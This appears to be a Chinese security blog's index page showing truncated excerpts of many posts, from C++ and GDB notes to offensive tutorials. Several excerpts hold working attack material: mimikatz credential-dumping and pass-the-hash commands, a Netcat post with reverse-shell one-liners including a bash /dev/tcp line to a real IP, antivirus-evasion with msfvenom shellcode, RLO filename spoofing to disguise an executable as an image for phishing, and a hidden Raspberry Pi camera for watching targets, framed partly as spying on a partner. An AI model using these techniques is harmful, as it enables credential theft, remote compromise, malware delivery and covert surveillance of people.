位置:项目->配置属性->高级->入口点中添加MyMian字段,这个字段可以随意修改
接着我们把原先的代码替换为如下代码,然后重新生成
int MyMain(){ return 0;}
可以看到多余的函数都不见了
禁用安全检查
上面是不是还有一个多余函数,该函数是用于安全检查用的,我们一样可以关闭它。
位置:项目->配置属性-> ...
mimikatz使用说明
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
只记录自己用过的命令
常用的命令
常规抓hash
privilege::debugsekurlsa::logonpasswords
注册列表抓hash
reg save HKLM\SYSTEM SYSTEMreg save HKLM\SAM SAMlsadump::sam /sam:SAM /system:SYSTEM
PTH登录
sekurlsa::pth /user:administrator /domain:ascotbe.com /ntlm:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXdir \\10.0.0.1\c$
procdump
有些情况下🥝是无法抓取到hash的,会提示ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)错误,可以使用procdump64+mimikatz来解决,前提是wi ...
利用树莓派来监听任务目标(下)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
距离上次的上篇已经过去了小半年时间了,真的不是我咕咕了,是因为自己挖的坑有点多,本片文章主要介绍的是如何对人脸进行检测和检测后的通讯方式,树莓派zeor w性能有点更不上所以我又买了4B(小声BB可能还有终篇
硬件清单
读卡器以及 SD 卡
树莓派官方摄像头一枚(夜视版
树莓派4B
电源(实际场景需要装个充电宝或者使用定制的电源)
监听模块(如果想要带上声音可以装个)
安装python-opencv
更新树莓派系统
在这之前记得话pip源 、apt源、系统更新源换成国内的,并且使用树莓派4并且刷入最新版的包,刷入包的哈希值
SHA-256:c9c382b659bd96b859ccb9e2ac0c2292a91a37c286ab464f2f380d451077663d
sudo apt-get updatesudo apt-get upgrade
安装python-OpenCV
在这之前还需要把系统自带的p ...
Windows PE结构解析
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
不管你是逆向领域,还是开发领域,异或是病毒编写者(红蓝对抗),都需要对PE文件有详细的了解,由于自己是个菜逼然后需要用到修改PE结构来达到某些免杀的操作,既然这样我就祭出菜逼大杀器Google百度来自行学习,本篇文章主要都是摘抄各位师傅们的文章,加上菜逼我的理解混合在一起的,如果有哪些地方理解错了或者填错了请各位师傅斧正!!
总体介绍
可执行文件(Executable File)是指可以由操作系统直接加载执行的文件,在Windows操作系统中可执行文件就是PE文件结构,在Linux下则是ELF文件,下面这张图就是PE文件格式的图片(来自看雪),非常大一张图片,其实PE格式就是各种结构体的结合,Windows下PE文件的各种结构体在WinNT.h这个头文件中,可以在VS(宇宙无敌第一编译器)中查询。
PE文件整体结构
PE结构可以大致分为:
DOS部分
PE文件头
节表(块表)
节数据(块数据)
调试信息
依旧用看雪 ...
C++命名规范
前言
首先命名要可读,这是所有规则的公理!!!!!尽可能使用描述性的命名, 别心疼空间, 毕竟相比之下让代码易于新读者理解更重要. 不要用只有项目开发者能理解的缩写, 也不要通过砍掉几个字母来缩写单词。
本篇作为学习笔记,约束自己
文件命名
文件名全部都要小写并且包含下划线(_)
可接受的文件命名示例:
my_useful_class.cc
http_server_logs.h
C++ 文件要以 .cc 结尾, 头文件以 .h 结尾. 专门插入文本的文件则以 .inc 结尾
通常应尽量让文件名更加明确. http_server_logs.h 就比 logs.h 要好
类型命名
类型名称的每个单词首字母均大写, 不包含下划线: MyExcitingClass, MyExcitingEnum.
变量命名
普通变量命名
单词全小写并且用下划线(_)隔开,和文件命名类似,必须要让命名可读,并且明确。
string table_name;string user_name_read;
类数据成员
再普通的变量名前面加上c_作为开头
class TableInfo { ... ...
免杀基础
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
踩着大佬们的脚步,用自己蹩脚的C++功底复现了师傅给出的一些免杀方案。后续将给出自己的两个免杀方案,复现大佬们的这几个方案用了3天时间,我真的是菜的可怜。
生成ShellCode的方法
使用msfvenom生成的ShellCode
使用参数说明
-l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all-p, --payload <payload> 要使用的有效载荷-f, --format <format> 输出格式,输出的语言类型-e, --encoder <encoder> 要使用的编码器- ...
利用树莓派来监听任务目标(上)
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
"黑客"注重的是隐蔽高效的攻陷目标,那么前期的信息收集,以及踩点就是非常重要的了,如何使用树莓派来"监控"目标对象?
当你想知道某个地方的他在做什么?想要知道家里面是否进了小偷?
家里的那个她是否给你带了绿帽子?(写到这里我哭了出来,为什么我没有女朋友!哇~)
硬件清单
读卡器以及 SD 卡
摄像头一枚
SSH连接工具
域名一个
带公网服务器一台
电源(实际场景需要装个充电宝或者使用定制的电源)
监听模块(如果想要带上声音可以装个)
成品图是这样的
刷系统以及换源之类的可以看我另一篇文章,这里就不做其他概述了!
开启摄像头模块
进入配置中
sudo raspi-config
选择Interfacing Options
接着选择Camera
然后他问会问你是否同意使用pi camera,选择是重启就好了
重启后查看监控模块是否开启了,如何和乡土一样就表示没问题了 ...
GDB详细使用介绍
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
使用GDB
启动
SH$ gdb program # program是你的可执行文件,一般在当前目录$ gdb program core # gdb同时调试运行程序和core文件,core是程序非法执行产生的文件$ gdb program pid # 如果你的程序是一个服务程序,那么你可以指定这个服务程序运行时的进程ID。gdb会自动attach上去,并调试他。program应该在PATH环境变量中搜索得到。
运行
SH(gdb) r/run # 开始运行程序(gdb) c/continue # 继续运行(gdb) n/next # 下一行,不进入函数调用(gdb) s/step # 下一行,进入函数调用(gdb) ni/si # 吓一跳指令,ni和si区别同上(gdb) fini/ ...
C++正则规则
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
常用的元字符:
.: 匹配除\n之外的任何单个字符,若要匹配包括\n在内的任意字符,需使用诸如[\s\S]之类的模式;
^:匹配输入字符串的开始位置,不匹配任何字符,要匹配^字符本身,需使用\^;
$:匹配输入字符串结尾的位置,不匹配任何字符,要匹配$字符本身,需使用\$;
*: 零次或多次匹配前面的字符或子表达式,*等效于{0,},如\^*b可以匹配b、^b、^^b、…;
+: 一次或多次匹配前面的字符或子表达式,等效于{1,},如a+b可以匹配ab、aab、aaab、…;
?: 零次或一次匹配前面的字符或子表达式,等效于{0,1},如a[cd]?可以匹配a、ac、ad; 当此字符紧随任何其他限定符*、+、?、{n}、{n,}、{n,m}之后时,匹配模式是非贪心的。非贪心的模式匹配搜索到的、尽可能短的字符串, ...
c++ new和malloc的区别
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
1. 申请的内存所在位置
new操作符从自由存储区(free store)上为对象动态分配内存空间,而malloc函数从堆上动态分配内存。自由存储区是C++基于new操作符的一个抽象概念,凡是通过new操作符进行内存申请,该内存即为自由存储区。而堆是操作系统中的术语,是操作系统所维护的一块特殊内存,用于程序的内存动态分配,C语言使用malloc从堆上分配内存,使用free释放已分配的对应内存。
那么自由存储区是否能够是堆(问题等价于new是否能在堆上动态分配内存),这取决于operator new 的实现细节。自由存储区不仅可以是堆,还可以是静态存储区,这都看operator new在哪里为对象分配内存。
特别的,new甚至可以不为对象分配内存!定位new的功能可以办到这一点:
new (place_address) type
place_address为一个指针,代表一块内存的地址。当使用上面这种仅以一个地址调用new操作符时 ...
C++ 获取已安装程序笔记
在Windows系统中,已安装软件的信息都保存在注册表中
那种绿色免安装包还不知道怎么获取
32位系统存在以下两个位置:
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\UninstallHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
64位系统在32位系统上多出一处,也就是WOW6432Node的节点下
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall
如何区分哪个是补丁哪个是安装程序
1.如果注册表项下面有"SystemComponent"字段并且值等于1时,表示这是个系统组件,而不是应用软件。2.如果注册表项下面有"ParentKeyName"字段则表示该项是某个分类下的子项,一般情况补丁才会有"ParentKeyName"字段。比如这个&qu ...
C++ Typedef用法
C++ Typedef用法
用途一:
定义一种类型的别名,而不只是简单的宏替换。可以用作同时声明指针型的多个对象。比如:
char* pa, pb; // 这多数不符合我们的意图,它只声明了一个指向字符变量的指针, 和一个字符变量;
以下则可行:
typedef char* PCHAR;PCHAR pa, pb;
这种用法很有用,特别是char* pa, pb的定义,初学者往往认为是定义了两个字符型指针,其实不是,而用typedef char* PCHAR就不会出现这样的问题,减少了错误的发生。
用途二:
用在旧的C代码中,帮助struct。以前的代码中,声明struct新对象时,必须要带上struct,即形式为: struct 结构名对象名,如:
struct tagPOINT1 { int x; int y; };struct tagPOINT1 p1;
而在C++中,则可以直接写:结构名对象名,即:tagPOINT1 p1;
typedef struct tagPOINT{ int x; int y;}POINT; ...
Linux安装java环境
通用系统安装
下载完成后解压到指定文件下
先创建java文件目录,如果已存在就不用创建mkdir -p /usr/local/java
解压到java文件目录
tar -vzxf jdk-8u161-linux-x64.tar.gz -C /usr/local/java/
添加环境变量,编辑配置文件
vi /etc/profile
在文件最下方或者指定文件添加
export JAVA_HOME=/usr/local/java/jdk1.8.0_161export CLASSPATH=$:CLASSPATH:$JAVA_HOME/lib/export PATH=$PATH:$JAVA_HOME/bin
保存退出
source /etc/profile
最后测试
java -version
可以看到一下信息则表示配置成功
java version “1.8.0_161”Java™ SE Runtime Environment (build 1.8.0_161-b12)Java HotSpot™ 64-Bit Server VM (build 25.161-b12 ...
Netcat反弹Shell详解
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
Windows
进入下载地址下载文件https://eternallybored.org/misc/netcat/
将文件夹中的对应可执行文件复制到C:\Windows\System32的文件夹下(有32位版和64位版)
直接打开cmd输入nc XXXXXX执行就好
Linux
直接使用nc命令就好
自己常用的命令
Windows
nc -e cmd.exe -d IP port(靶机)
Linux
nc -lvvp 8080(监听机) 监听8080端口nc IP Port (受害者机) IP为监听机的IP 端口为监听机开的端口bash -i >& /dev/tcp/3.16.30.73/1231 0>&1(受害者机)
主要参数
#无命令行界面,使用后台模式-d#程序重定向 -e#源路由跳跃点, 不超过8-g#源路由指示器: 4, 8, 12, ...-G #获取帮助 ...
Docker笔记
安装docker
sudo apt install docker.io
问题解决
0x01 运行docker-compose 命令报错解决办法
-bash: docker-compose: command not found
安装
先安装 pip ,检查是否已有: pip -V
报错
-bash: pip: command not found
安装 pip
sudo apt-get install epel-releasesudo apt-get install python-pip
升级
pip install --upgrade pip
安装Docker-Compose
pip install docker-compose
检查是是否成功
docker-compose -version
0x02 使用docker-compose报错找不到 ssl_match_hostname解决办法
进入backports模块路径
cd /usr/local/lib/python2.7/dist-packages
复制整个包到transport包路径下
cp - ...
如何释放存在EXE上的资源文件
添加资源到项目中
直接参考图片就行
生成EXE文件
下载ResourceHacker程序
把程序导入ResourceHacker中
使用FindResource函数提取PE资源
类型为SETIMG
LPCWSTR b = _T("SETIMG");HMODULE hLocalHostModule = GetModuleHandleA(NULL);HRSRC hRsrc = FindResource(hLocalHostModule, (LPCTSTR)106, b);
利用Unicode实现钓鱼文件制作
关于Unicode
Unicode(统一码、万国码、单一码)是计算机科学领域里的一项业界标准,包括字符集、编码方案等。Unicode 是为了解决传统的字符编码方案的局限而产生的,它为每种语言中的每个字符设定了统一并且唯一的二进制编码,以满足跨语言、跨平台进行文本转换、处理的要求。
简单来说,它是一种编码格式,满足了以前ASCII码无法表示中文、日文等其他语言的缺陷,但是由此引发的安全问题也很多,比如我们今天介绍的Unicode控制符反转伪装后缀名漏洞。
实现方法
替换图标
就是把exe的图标替换成图片的默认图标,或者插入一些羞羞的图片或者QQ图标之类的。
插入控制符
右键选择重命名,删除原文件名,再右键单击,选择“插入Unicode控制符”,选择RLO
构建文件名
需要用两部来制作
gpj.exe
Ascotb
效果如下图
c++传入参数的问题
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
int tex (int a,int b)
值传递:有一个形参向函数所属的栈拷贝数据的过程,如果值传递的对象是类对象或是大的结构体对象,将耗费一定的时间和空间。
int tex(int *a,int *b)
指针传递:同样有一个形参向函数所属的栈拷贝数据的过程,但拷贝的数据是一个固定为4字节的地址。
int tex(int &a,int &b)
引用传递:同样有上述的数据拷贝过程,但其是针对地址的,相当于为该数据所在的地址起了一个别名。
效率上讲,指针传递和引用传递比值传递效率高。一般主张使用引用传递,代码逻辑上更加紧凑、清晰。
引用传递做函数参数”是C++的特性,C语言不支持。
tip:
如果是值的传递,是拷贝过去的就是在用的函数中修改了那个值也不会影响到原先的值
若果是引用的传递,虽然是数据拷贝但是在用的函数中修改了那个值是会影响到原先的值